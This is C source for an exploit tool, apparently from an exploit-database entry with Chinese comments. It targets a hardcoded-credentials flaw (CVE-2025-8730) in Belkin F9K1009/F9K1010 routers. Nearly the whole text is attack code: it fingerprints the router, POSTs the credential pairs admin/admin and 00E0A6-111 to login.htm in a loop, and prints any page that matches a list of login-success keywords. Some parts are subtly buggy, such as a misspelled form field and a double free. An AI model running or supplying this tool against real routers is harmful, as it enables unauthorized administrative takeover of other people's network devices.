Belkin F9K1009 F9K1010 2.00.04/2.00.09 硬编码凭证漏洞

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#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#define FULL 2000
#define LOGIN_POST 1500

const char *nameFileC = NULL;
int verbose = 0;
const char *router = NULL;
const char *cookies = NULL;
int uC = 0;
const char *fullurl = NULL;
int sleepS = 0;
int count = 0;

void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax", 
         "rdi"
    );
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] 长度过长！\e[0m\n");
        printf("\e[0;31m[-] 长度 %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] 长度正常 (%d)。\e[0m\n",len);
        return 0;
    }
    return 0;
}

struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] 内存分配失败！\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

const char *wordLogin[] = 
{
    "login_success",
    "Welcome",
    "Dashboard",
    "admin panel",
    "Set-Cookie",
    "Authorization",
    "token",
    "sessionid",
    "redirect",
    "access granted",
    "authenticated",
    "user authenticated",
    "login ok",
    "login complete",
    "login status=success",
    "login=1",
    "auth=1",
    "valid credentials",
    "home.htm",
    "main.htm",
    "index.htm",
    "config.htm",
    "firmware.htm",
    "admin.htm",
    NULL
};

void sleepTime(int sec)
{
    if (sec <= 0)
    {
        fprintf(stderr, "\e[0;31m[-] 秒数必须 > 0 ！\e[0m\n");
        exitSyscall();
    }

    struct timespec req, rem;
    req.tv_sec  = (time_t)sec;
    req.tv_nsec = 0;

    printf("\e[0;33m[+] 休眠 %d 秒...\e[0m\n", sec);

    while (nanosleep(&req, &rem) == -1)
    {
        if (errno == EINTR) 
        {
            req = rem;
            continue;
        }
        perror("\e[0;31m[-] 休眠失败！\e[0m");
        exitSyscall();
    }

    printf("\e[0;34m[+] 休眠成功。\e[0m\n");
}

void detectDeviceType(const char *routerIp)
{	
    printf("\n=================================== [设备类型] ===================================\e[0m\n");
    
    CURL *curl = curl_easy_init();
    if (!curl) exitSyscall();

    struct Mem response = { NULL, 0 };

    char full[FULL];
    int len = snprintf(full, sizeof(full), "http://%s", routerIp);
    if (checkLen(len, full, sizeof(full))) 
    {
        exitSyscall();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    
    if (sleepS)
    {
        sleepTime(sleepS);
    }
    
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);

    CURLcode res = curl_easy_perform(curl);
    if (res != CURLE_OK)
    {
        fprintf(stderr, "\e[0;31m[-] curl错误: %s\n", curl_easy_strerror(res));
    }

    if (response.buffer)
    {
        if (strstr(response.buffer, "F9K1009"))
        {
            printf("\e[0;36m[+] 设备: Belkin F9K1009\e[0m\n");
        }
        else if (strstr(response.buffer, "F9K1010"))
        {
            printf("\e[0;36m[+] 设备: Belkin F9K1010\e[0m\n");
        }
        else
        {
            printf("\e[0;31m[-] 未知设备类型\e[0m\n");
            free(response.buffer);
        }
    }
    else
    {
        printf("\e[0;31m[-] 响应为NULL！\n");
    };
    
    response.buffer= NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
    printf("=====================================================================================\n");
}

void credentialsRequest(const char *routerIp)
{
    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        printf("\e[0;31m[-] 创建CURL对象错误！\e[0m\n");
        exitSyscall();
    }
    
    CURLcode res;
    char full[FULL];
    int nL = 2;
    struct Mem response;
    response.buffer= NULL;
    response.len = 0;
    
    for (int l = 0; l <= nL; l++)
    {
        if (curl)
        {
            char full[FULL];
            char post[LOGIN_POST];
            
            if (fullurl != NULL)
            {
                int lenFull = snprintf(full, sizeof(full), "%s", fullurl);
                if (checkLen(lenFull,full, sizeof(full)) == 1)
                {
                    printf("\e[0;31m[-] 完整URL（路由器IP）长度过长！\e[0m\n");
                    printf("\e[0;31m[-] 长度: %d\n",lenFull);
                    exitSyscall();
                }
                printf("[+] 成功创建完整URL。\e[0m\n");
                printf("[+] 默认端口请求: %d\e[0m\n", 80);
                printf("[+] 完整URL: %s\n", full);
            }
            else
            {
                int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp);
                if (checkLen(lenI,full, sizeof(full)) == 1)
                {
                    printf("\e[0;31m[-] 完整URL（路由器IP）长度过长！\e[0m\n");
                    printf("\e[0;31m[-] 长度: %d\e[0m\n",lenI);
                    exitSyscall();
                }
                else
                {
                    printf("\e[1;34m[+] 成功创建完整URL。\e[0m\n");
                    printf("\e[1;34m[+] 目标IP %s\e[0m\n", routerIp);
                    printf("\e[1;34m[+] 默认端口请求: %d\e[0m\n", 80);
                    printf("\e[1;34m[+] 完整URL: %s\e[0m\n", full);
                }
            }
            
            if (l < 2) 
            {
                // 登录 admin
                int vA = snprintf(post, sizeof(post),
                    "login_username=admin&login_password=admin");
                if (checkLen(vA, post, sizeof(post)) == 1)
                {
                    printf("\e[0;31m[-] 写入POST数据错误！\e[0m\n");
                    printf("\e[0;31m[-] 长度（数据）: %d\e[0m\n", vA);
                    exitSyscall();
                }
                printf("\e[0;36m[+] 成功写入POST数据。\e[0m\n");
                printf("\e[0;36m[%d] POST数据结果（admin）: \e[0m\n", l);
                printf("\n%s\n", post);
            } 
            else 
            {
                // 登录 00E0A6-111
                int vE = snprintf(post, sizeof(post),
                    "login_usernam=00E0A6-111&login_password=00E0A6-111");
                if (checkLen(vE, post, sizeof(post)) == 1)
                {
                    printf("\e[0;31m[-] 写入POST数据错误！\e[0m\n");
                    printf("\e[0;31m[-] 长度（数据）: %d\n", vE);
                    exitSyscall();
                }
                printf("\e[0;36m[+] 成功写入POST数据。\e[0m\n");
                printf("\e[0;36m[%d] POST数据结果（00E0A6-111）: \e[0m\n", l);
                printf("\n%s\n", post);
            }
            
            curl_easy_setopt(curl, CURLOPT_URL, full);

            if (uC)
            {
                curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies);
                curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies);
            }
            
            curl_easy_setopt(curl, CURLOPT_POST, 1L);
            curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);
            curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post));
            curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "");
            curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
            curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
            curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
            
            if (sleepS)
            {
                sleepTime(sleepS);
            }
            
            curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
            curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
            curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
            
            if (verbose)
            {
                printf("\e[1;35m------------------------------------------[Curl详细模式]------------------------------------------\e[0m\n");
                curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
            }
            
            struct curl_slist *headers = NULL;
            headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
            headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br");
            headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5");
            headers = curl_slist_append(headers, "Connection: keep-alive");
            headers = curl_slist_append(headers, "Content-Type: application/json");
            headers = curl_slist_append(headers, "Cache-Control: max-age=0");
            
            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            
            if (res == CURLE_OK)
            {
                long httpCode = 0;
                long totalR;
                double timeredirect;
                char *redirectUrl = NULL;
                printf("\e[0;36m[+] 请求发送成功\e[0m\n");
                
                if (response.len == 0)
                {
                    printf("\e[0;31m[-] 响应长度为零！\e[0m\n");
                }
                
                curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
                printf("\e[0;32m[+] HTTP代码: %ld\e[0m\n", httpCode);
                curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR);
                curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect);
                curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl);
                
                printf("\e[0;35m[+] 重定向: ========================\e[0m\n");
                printf("\e[0;34m[+] 重定向时间: %.1f\e[0m\n", timeredirect);
                printf("\e[0;34m[+] 总重定向次数 %ld\e[0m\n", totalR);
                printf("\e[0;34m[+] 重定向至: %s\e[0m\n", redirectUrl);
                printf("\e[0;35m=======================================\e[0m\n");
                
                if (httpCode >= 200 && httpCode < 300)
                {
                    if (response.buffer)
                    {
                        for (int r = 0; wordLogin[r] != NULL; r++)
                        {
                            if (strstr(response.buffer, wordLogin[r]) != NULL)
                            {
                                printf("\e[0;34m[+] 找到关键词: %s\n", wordLogin[r]);
                                printf("\e[0;35m============================================= [响应] =============================================\e[0m\n");
                                printf("\n%s\n",response.buffer);
                                printf("\e[0;35m ======================================================================================================\e[0m\n");
                            }
                            if (verbose)
                            {
                                printf("\e[0;31m[-] 未找到关键词: %s\e[0m\n",wordLogin[r]);
                            }
                        }
                    }
                    else
                    {
                        printf("\e[0;31m[-] 响应缓冲区为NULL！\e[0m\n");
                        printf("\e[0;31m[-] 可能存在WAF \e[0m\n");
                    }
                }
                else 
                {
                    printf("\e[0;31m[-] HTTP代码不在范围内 (%ld)\e[0m\n", httpCode);
                }
            }
            else
            {
                printf("\e[0;31m[-] 请求未发送！\e[0m\n");
                printf("\e[0;31m[-] 错误: %s\e[0m\n", curl_easy_strerror(res));
                exitSyscall();
            }
        }
    }
    
    curl_easy_cleanup(curl);
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
}

int main(int argc, const char **argv)
{
    printf("+-----------------------------------------------------------+\n");
    printf("| 作者:                 [ Byte Reaper ]                   |\n");
    printf("| CVE:                 [ CVE-2025-8730 ]                 |\n");
    printf("| 漏洞类型:            [ 硬编码凭证 ]                    |\n");
    printf("| 漏洞发布日期:        [ 2025年8月8日 ]                  |\n");
    printf("| 目标服务:            [ Belkin F9K1009/F9K1010 ]        |\n");
    printf("+-----------------------------------------------------------+\n");
    printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n");
    
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
        OPT_STRING('f', "full", &fullurl, "完整URL格式（登录文件）"),
        OPT_HELP(),
        OPT_STRING('i', "ip", &router, "路由器IP（12.12.12.12）"),
        OPT_STRING('c', "cookies", &nameFileC, "输入cookie文件"),
        OPT_BOOLEAN('v', "verbose", &verbose, "详细模式"),
        OPT_INTEGER('s', "sleep", &sleepS, "请求休眠"),
        OPT_INTEGER('k', "count", &count, "循环请求次数（-k 8（8次请求））"),
        OPT_END(),
    };
    
    struct argparse argparse;
    argparse_init(&argparse, options, NULL, 0);
    argparse_parse(&argparse, argc, argv);
    
    if (router == NULL && fullurl == NULL)
    {
        printf("\e[0;31m[-] 请输入目标路由器IP！\e[0m\n");
        printf("\e[0;31m[-] 示例: ./CVE-2025-8730 -i <IP> \e[0m\n");
        exitSyscall();
    }
    
    if (nameFileC)
    {
        uC = 1;
    }
    
    if (verbose)
    {
        verbose = 1;
    } 
    
    if (fullurl)
    {
        credentialsRequest(NULL);
    }
    
    if (sleepS)
    {
        sleepTime(sleepS);
    }
    
    if (count)
    {
        for (int j = 0; j <= count; j++)
        {
            if (fullurl)
            {	
                credentialsRequest(fullurl);
            }
            if (router)
            {
                credentialsRequest(router);
            }
        }
    }
    
    detectDeviceType(router);
    credentialsRequest(router);
    curl_global_cleanup();
    return 0;
}